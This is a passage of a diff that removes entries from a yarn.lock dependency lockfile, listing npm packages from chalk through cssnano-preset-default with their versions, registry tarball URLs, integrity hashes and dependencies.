"https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424" - integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ== - dependencies: - ansi-styles "^3.2.1" - escape-string-regexp "^1.0.5" - supports-color "^5.3.0" - -chalk@^4.0.0, chalk@^4.1.0, chalk@^4.1.2: - version "4.1.2" - resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01" - integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA== - dependencies: - ansi-styles "^4.1.0" - supports-color "^7.1.0" - -character-entities-legacy@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz#94bc1845dce70a5bb9d2ecc748725661293d8fc1" - integrity sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA== - -character-entities@^1.0.0: - version "1.2.4" - resolved "https://registry.yarnpkg.com/character-entities/-/character-entities-1.2.4.tgz#e12c3939b7eaf4e5b15e7ad4c5e28e1d48c5b16b" - integrity sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw== - -character-reference-invalid@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz#083329cda0eae272ab3dbbf37e9a382c13af1560" - integrity sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg== - -cheerio-select@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/cheerio-select/-/cheerio-select-2.1.0.tgz#4d8673286b8126ca2a8e42740d5e3c4884ae21b4" - integrity sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g== - dependencies: - boolbase "^1.0.0" - css-select "^5.1.0" - css-what "^6.1.0" - domelementtype "^2.3.0" - domhandler "^5.0.3" - domutils "^3.0.1" - -cheerio@^1.0.0-rc.12: - version "1.0.0-rc.12" - resolved "https://registry.yarnpkg.com/cheerio/-/cheerio-1.0.0-rc.12.tgz#788bf7466506b1c6bf5fae51d24a2c4d62e47683" - integrity sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q== - dependencies: - cheerio-select "^2.1.0" - dom-serializer "^2.0.0" - domhandler "^5.0.3" - domutils "^3.0.1" - htmlparser2 "^8.0.1" - parse5 "^7.0.0" - parse5-htmlparser2-tree-adapter "^7.0.0" - -chokidar@^3.4.2, chokidar@^3.5.3: - version "3.5.3" - resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.3.tgz#1cf37c8707b932bd1af1ae22c0432e2acd1903bd" - integrity sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw== - dependencies: - anymatch "~3.1.2" - braces "~3.0.2" - glob-parent "~5.1.2" - is-binary-path "~2.1.0" - is-glob "~4.0.1" - normalize-path "~3.0.0" - readdirp "~3.6.0" - optionalDependencies: - fsevents "~2.3.2" - -chrome-trace-event@^1.0.2: - version "1.0.3" - resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz#1015eced4741e15d06664a957dbbf50d041e26ac" - integrity sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg== - -ci-info@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46" - integrity sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ== - -ci-info@^3.2.0: - version "3.6.2" - resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-3.6.2.tgz#362ea15378f1c39378ba786affbc1c9ef015ecfd" - integrity sha512-lVZdhvbEudris15CLytp2u6Y0p5EKfztae9Fqa189MfNmln9F33XuH69v5fvNfiRN5/0eAUz2yJL3mo+nhaRKg== - -classnames@^2.3.2: - version "2.3.2" - resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.3.2.tgz#351d813bf0137fcc6a76a16b88208d2560a0d924" - integrity sha512-CSbhY4cFEJRe6/GQzIk5qXZ4Jeg5pcsP7b5peFSDpffpe1cqjASH/n9UTjBwOp6XpMSTwQ8Za2K5V02ueA7Tmw== - -clean-css@^5.2.2, clean-css@^5.3.0: - version "5.3.1" - resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-5.3.1.tgz#d0610b0b90d125196a2894d35366f734e5d7aa32" - integrity sha512-lCr8OHhiWCTw4v8POJovCoh4T7I9U11yVsPjMWWnnMmp9ZowCxyad1Pathle/9HjaDp+fdQKjO9fQydE6RHTZg== - dependencies: - source-map "~0.6.0" - -clean-stack@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b" - integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A== - -cli-boxes@^2.2.1: - version "2.2.1" - resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-2.2.1.tgz#ddd5035d25094fce220e9cab40a45840a440318f" - integrity sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw== - -cli-boxes@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-3.0.0.tgz#71a10c716feeba005e4504f36329ef0b17cf3145" - integrity sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g== - -cli-table3@^0.6.2: - version "0.6.3" - resolved "https://registry.yarnpkg.com/cli-table3/-/cli-table3-0.6.3.tgz#61ab765aac156b52f222954ffc607a6f01dbeeb2" - integrity sha512-w5Jac5SykAeZJKntOxJCrm63Eg5/4dhMWIcuTbo9rpE+brgaSZo0RuNJZeOyMgsUdhDeojvgyQLmjI+K50ZGyg== - dependencies: - string-width "^4.2.0" - optionalDependencies: - "@colors/colors" "1.5.0" - -clone-deep@^4.0.1: - version "4.0.1" - resolved "https://registry.yarnpkg.com/clone-deep/-/clone-deep-4.0.1.tgz#c19fd9bdbbf85942b4fd979c84dcf7d5f07c2387" - integrity sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ== - dependencies: - is-plain-object "^2.0.4" - kind-of "^6.0.2" - shallow-clone "^3.0.0" - -clone-response@^1.0.2: - version "1.0.3" - resolved "https://registry.yarnpkg.com/clone-response/-/clone-response-1.0.3.tgz#af2032aa47816399cf5f0a1d0db902f517abb8c3" - integrity sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA== - dependencies: - mimic-response "^1.0.0" - -clsx@^1.2.1: - version "1.2.1" - resolved "https://registry.yarnpkg.com/clsx/-/clsx-1.2.1.tgz#0ddc4a20a549b59c93a4116bb26f5294ca17dc12" - integrity sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg== - -collapse-white-space@^1.0.2: - version "1.0.6" - resolved "https://registry.yarnpkg.com/collapse-white-space/-/collapse-white-space-1.0.6.tgz#e63629c0016665792060dbbeb79c42239d2c5287" - integrity sha512-jEovNnrhMuqyCcjfEJA56v0Xq8SkIoPKDyaHahwo3POf4qcSXqMYuwNcOTzp74vTsR9Tn08z4MxWqAhcekogkQ== - -color-convert@^1.9.0: - version "1.9.3" - resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8" - integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg== - dependencies: - color-name "1.1.3" - -color-convert@^2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3" - integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ== - dependencies: - color-name "~1.1.4" - -color-name@1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25" - integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw== - -color-name@~1.1.4: - version "1.1.4" - resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2" - integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== - -colord@^2.9.1: - version "2.9.2" - resolved "https://registry.yarnpkg.com/colord/-/colord-2.9.2.tgz#25e2bacbbaa65991422c07ea209e2089428effb1" - integrity sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ== - -colorette@^2.0.10: - version "2.0.19" - resolved "https://registry.yarnpkg.com/colorette/-/colorette-2.0.19.tgz#cdf044f47ad41a0f4b56b3a0d5b4e6e1a2d5a798" - integrity sha512-3tlv/dIP7FWvj3BsbHrGLJ6l/oKh1O3TcgBqMn+yyCagOxc23fyzDS6HypQbgxWbkpDnf52p1LuR4eWDQ/K9WQ== - -combine-promises@^1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/combine-promises/-/combine-promises-1.1.0.tgz#72db90743c0ca7aab7d0d8d2052fd7b0f674de71" - integrity sha512-ZI9jvcLDxqwaXEixOhArm3r7ReIivsXkpbyEWyeOhzz1QS0iSgBPnWvEqvIQtYyamGCYA88gFhmUrs9hrrQ0pg== - -comma-separated-tokens@^1.0.0: - version "1.0.8" - resolved "https://registry.yarnpkg.com/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz#632b80b6117867a158f1080ad498b2fbe7e3f5ea" - integrity sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw== - -commander@^2.19.0, commander@^2.20.0: - version "2.20.3" - resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33" - integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ== - -commander@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/commander/-/commander-5.1.0.tgz#46abbd1652f8e059bddaef99bbdcb2ad9cf179ae" - integrity sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg== - -commander@^7.2.0: - version "7.2.0" - resolved "https://registry.yarnpkg.com/commander/-/commander-7.2.0.tgz#a36cb57d0b501ce108e4d20559a150a391d97ab7" - integrity sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw== - -commander@^8.3.0: - version "8.3.0" - resolved "https://registry.yarnpkg.com/commander/-/commander-8.3.0.tgz#4837ea1b2da67b9c616a67afbb0fafee567bca66" - integrity sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww== - -commondir@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b" - integrity sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg== - -compress-brotli@^1.3.8: - version "1.3.8" - resolved "https://registry.yarnpkg.com/compress-brotli/-/compress-brotli-1.3.8.tgz#0c0a60c97a989145314ec381e84e26682e7b38db" - integrity sha512-lVcQsjhxhIXsuupfy9fmZUFtAIdBmXA7EGY6GBdgZ++qkM9zG4YFT8iU7FoBxzryNDMOpD1HIFHUSX4D87oqhQ== - dependencies: - "@types/json-buffer" "~3.0.0" - json-buffer "~3.0.1" - -compressible@~2.0.16: - version "2.0.18" - resolved "https://registry.yarnpkg.com/compressible/-/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba" - integrity sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg== - dependencies: - mime-db ">= 1.43.0 < 2" - -compression@^1.7.4: - version "1.7.4" - resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.4.tgz#95523eff170ca57c29a0ca41e6fe131f41e5bb8f" - integrity sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ== - dependencies: - accepts "~1.3.5" - bytes "3.0.0" - compressible "~2.0.16" - debug "2.6.9" - on-headers "~1.0.2" - safe-buffer "5.1.2" - vary "~1.1.2" - -concat-map@0.0.1: - version "0.0.1" - resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b" - integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg== - -configstore@^5.0.1: - version "5.0.1" - resolved "https://registry.yarnpkg.com/configstore/-/configstore-5.0.1.tgz#d365021b5df4b98cdd187d6a3b0e3f6a7cc5ed96" - integrity sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA== - dependencies: - dot-prop "^5.2.0" - graceful-fs "^4.1.2" - make-dir "^3.0.0" - unique-string "^2.0.0" - write-file-atomic "^3.0.0" - xdg-basedir "^4.0.0" - -connect-history-api-fallback@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz#647264845251a0daf25b97ce87834cace0f5f1c8" - integrity sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA== - -consola@^2.15.3: - version "2.15.3" - resolved "https://registry.yarnpkg.com/consola/-/consola-2.15.3.tgz#2e11f98d6a4be71ff72e0bdf07bd23e12cb61550" - integrity sha512-9vAdYbHj6x2fLKC4+oPH0kFzY/orMZyG2Aj+kNylHxKGJ/Ed4dpNyAQYwJOdqO4zdM7XpVHmyejQDcQHrnuXbw== - -content-disposition@0.5.2: - version "0.5.2" - resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.2.tgz#0cf68bb9ddf5f2be7961c3a85178cb85dba78cb4" - integrity sha512-kRGRZw3bLlFISDBgwTSA1TMBFN6J6GWDeubmDE3AF+3+yXL8hTWv8r5rkLbqYXY4RjPk/EzHnClI3zQf1cFmHA== - -content-disposition@0.5.4: - version "0.5.4" - resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.4.tgz#8b82b4efac82512a02bb0b1dcec9d2c5e8eb5bfe" - integrity sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ== - dependencies: - safe-buffer "5.2.1" - -content-type@~1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b" - integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA== - -convert-source-map@^1.7.0: - version "1.8.0" - resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.8.0.tgz#f3373c32d21b4d780dd8004514684fb791ca4369" - integrity sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA== - dependencies: - safe-buffer "~5.1.1" - -cookie-signature@1.0.6: - version "1.0.6" - resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c" - integrity sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ== - -cookie@0.5.0: - version "0.5.0" - resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.5.0.tgz#d1f5d71adec6558c58f389987c366aa47e994f8b" - integrity sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw== - -copy-text-to-clipboard@^3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/copy-text-to-clipboard/-/copy-text-to-clipboard-3.0.1.tgz#8cbf8f90e0a47f12e4a24743736265d157bce69c" - integrity sha512-rvVsHrpFcL4F2P8ihsoLdFHmd404+CMg71S756oRSeQgqk51U3kicGdnvfkrxva0xXH92SjGS62B0XIJsbh+9Q== - -copy-webpack-plugin@^11.0.0: - version "11.0.0" - resolved "https://registry.yarnpkg.com/copy-webpack-plugin/-/copy-webpack-plugin-11.0.0.tgz#96d4dbdb5f73d02dd72d0528d1958721ab72e04a" - integrity sha512-fX2MWpamkW0hZxMEg0+mYnA40LTosOSa5TqZ9GYIBzyJa9C3QUaMPSE2xAi/buNr8u89SfD9wHSQVBzrRa/SOQ== - dependencies: - fast-glob "^3.2.11" - glob-parent "^6.0.1" - globby "^13.1.1" - normalize-path "^3.0.0" - schema-utils "^4.0.0" - serialize-javascript "^6.0.0" - -core-js-compat@^3.21.0, core-js-compat@^3.22.1: - version "3.23.5" - resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.23.5.tgz#11edce2f1c4f69a96d30ce77c805ce118909cd5b" - integrity sha512-fHYozIFIxd+91IIbXJgWd/igXIc8Mf9is0fusswjnGIWVG96y2cwyUdlCkGOw6rMLHKAxg7xtCIVaHsyOUnJIg== - dependencies: - browserslist "^4.21.2" - semver "7.0.0" - -core-js-compat@^3.25.1: - version "3.26.1" - resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.26.1.tgz#0e710b09ebf689d719545ac36e49041850f943df" - integrity sha512-622/KzTudvXCDLRw70iHW4KKs1aGpcRcowGWyYJr2DEBfRrd6hNJybxSWJFuZYD4ma86xhrwDDHxmDaIq4EA8A== - dependencies: - browserslist "^4.21.4" - -core-js-pure@^3.25.1: - version "3.26.1" - resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.26.1.tgz#653f4d7130c427820dcecd3168b594e8bb095a33" - integrity sha512-VVXcDpp/xJ21KdULRq/lXdLzQAtX7+37LzpyfFM973il0tWSsDEoyzG38G14AjTpK9VTfiNM9jnFauq/CpaWGQ== - -core-js@^3.23.3: - version "3.26.1" - resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.26.1.tgz#7a9816dabd9ee846c1c0fe0e8fcad68f3709134e" - integrity sha512-21491RRQVzUn0GGM9Z1Jrpr6PNPxPi+Za8OM9q4tksTSnlbXXGKK1nXNg/QvwFYettXvSX6zWKCtHHfjN4puyA== - -core-util-is@~1.0.0: - version "1.0.3" - resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.3.tgz#a6042d3634c2b27e9328f837b965fac83808db85" - integrity sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ== - -cosmiconfig@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-6.0.0.tgz#da4fee853c52f6b1e6935f41c1a2fc50bd4a9982" - integrity sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg== - dependencies: - "@types/parse-json" "^4.0.0" - import-fresh "^3.1.0" - parse-json "^5.0.0" - path-type "^4.0.0" - yaml "^1.7.2" - -cosmiconfig@^7.0.0, cosmiconfig@^7.0.1: - version "7.0.1" - resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-7.0.1.tgz#714d756522cace867867ccb4474c5d01bbae5d6d" - integrity sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ== - dependencies: - "@types/parse-json" "^4.0.0" - import-fresh "^3.2.1" - parse-json "^5.0.0" - path-type "^4.0.0" - yaml "^1.10.0" - -cross-fetch@^3.1.5: - version "3.1.5" - resolved "https://registry.yarnpkg.com/cross-fetch/-/cross-fetch-3.1.5.tgz#e1389f44d9e7ba767907f7af8454787952ab534f" - integrity sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw== - dependencies: - node-fetch "2.6.7" - -cross-spawn@^7.0.3: - version "7.0.3" - resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6" - integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w== - dependencies: - path-key "^3.1.0" - shebang-command "^2.0.0" - which "^2.0.1" - -crypto-random-string@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/crypto-random-string/-/crypto-random-string-2.0.0.tgz#ef2a7a966ec11083388369baa02ebead229b30d5" - integrity sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA== - -css-declaration-sorter@^6.3.1: - version "6.3.1" - resolved "https://registry.yarnpkg.com/css-declaration-sorter/-/css-declaration-sorter-6.3.1.tgz#be5e1d71b7a992433fb1c542c7a1b835e45682ec" - integrity sha512-fBffmak0bPAnyqc/HO8C3n2sHrp9wcqQz6ES9koRF2/mLOVAx9zIQ3Y7R29sYCteTPqMCwns4WYQoCX91Xl3+w== - -css-loader@^6.7.1: - version "6.7.1" - resolved "https://registry.yarnpkg.com/css-loader/-/css-loader-6.7.1.tgz#e98106f154f6e1baf3fc3bc455cb9981c1d5fd2e" - integrity sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw== - dependencies: - icss-utils "^5.1.0" - postcss "^8.4.7" - postcss-modules-extract-imports "^3.0.0" - postcss-modules-local-by-default "^4.0.0" - postcss-modules-scope "^3.0.0" - postcss-modules-values "^4.0.0" - postcss-value-parser "^4.2.0" - semver "^7.3.5" - -css-minimizer-webpack-plugin@^4.0.0: - version "4.2.2" - resolved "https://registry.yarnpkg.com/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-4.2.2.tgz#79f6199eb5adf1ff7ba57f105e3752d15211eb35" - integrity sha512-s3Of/4jKfw1Hj9CxEO1E5oXhQAxlayuHO2y/ML+C6I9sQ7FdzfEV6QgMLN3vI+qFsjJGIAFLKtQK7t8BOXAIyA== - dependencies: - cssnano "^5.1.8" - jest-worker "^29.1.2" - postcss "^8.4.17" - schema-utils "^4.0.0" - serialize-javascript "^6.0.0" - source-map "^0.6.1" - -css-select@^4.1.3: - version "4.3.0" - resolved "https://registry.yarnpkg.com/css-select/-/css-select-4.3.0.tgz#db7129b2846662fd8628cfc496abb2b59e41529b" - integrity sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ== - dependencies: - boolbase "^1.0.0" - css-what "^6.0.1" - domhandler "^4.3.1" - domutils "^2.8.0" - nth-check "^2.0.1" - -css-select@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/css-select/-/css-select-5.1.0.tgz#b8ebd6554c3637ccc76688804ad3f6a6fdaea8a6" - integrity sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg== - dependencies: - boolbase "^1.0.0" - css-what "^6.1.0" - domhandler "^5.0.2" - domutils "^3.0.1" - nth-check "^2.0.1" - -css-tree@^1.1.2, css-tree@^1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.1.3.tgz#eb4870fb6fd7707327ec95c2ff2ab09b5e8db91d" - integrity sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q== - dependencies: - mdn-data "2.0.14" - source-map "^0.6.1" - -css-what@^6.0.1, css-what@^6.1.0: - version "6.1.0" - resolved "https://registry.yarnpkg.com/css-what/-/css-what-6.1.0.tgz#fb5effcf76f1ddea2c81bdfaa4de44e79bac70f4" - integrity sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw== - -cssesc@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee" - integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg== - -cssnano-preset-advanced@^5.3.8: - version "5.3.9" - resolved "https://registry.yarnpkg.com/cssnano-preset-advanced/-/cssnano-preset-advanced-5.3.9.tgz#99e1cdf81a467a5e6c366cfc6d874a166c4d9a67" - integrity sha512-njnh4pp1xCsibJcEHnWZb4EEzni0ePMqPuPNyuWT4Z+YeXmsgqNuTPIljXFEXhxGsWs9183JkXgHxc1TcsahIg== - dependencies: - autoprefixer "^10.4.12" - cssnano-preset-default "^5.2.13" - postcss-discard-unused "^5.1.0" - postcss-merge-idents "^5.1.1" - postcss-reduce-idents "^5.2.0" - postcss-zindex "^5.1.0" - -cssnano-preset-default@^5.2.13: - version "5.2.13" - resolved "https://registry.yarnpkg.com/cssnano-preset-default/-/cssnano-preset-default-5.2.13.tgz#e7353b0c57975d1bdd97ac96e68e5c1b8c68e990" - integrity sha512-PX7sQ4Pb+UtOWuz8A1d+Rbi+WimBIxJTRyBdgGp1J75VU0r/HFQeLnMYgHiCAp6AR4rqrc7Y4R+1Rjk3KJz6DQ== - dependencies: - css-declaration-sorter "^6.3.1" - cssnano-utils "^3.1.0" - postcss-calc "^8.2.3" - postcss-colormin "^5.3.0" - postcss-convert-values "^5.1.3" - postcss-discard-comments "^5.1.2" - postcss-discard-duplicates "^5.1.0" - postcss-discard-empty "^5.1.1" - postcss-discard-overridden "^5.1.0" - postcss-merge-longhand "^5.1.7" - postcss-merge-rules "^5.1.3" - postcss-minify-font-values "^5.1.0" - postcss-minify-gradients "^5.1.1" - postcss-minify-params "^5.1.4" - postcss-minify-selectors "^5.2.1" - postcss-normalize-charset "^5.1.0" - postcss-normalize-display-values "^5.1.0" - postcss-normalize-positions "^5.1.1" - postcss-normalize-repeat-style "^5.1.1" - postcss-normalize-string 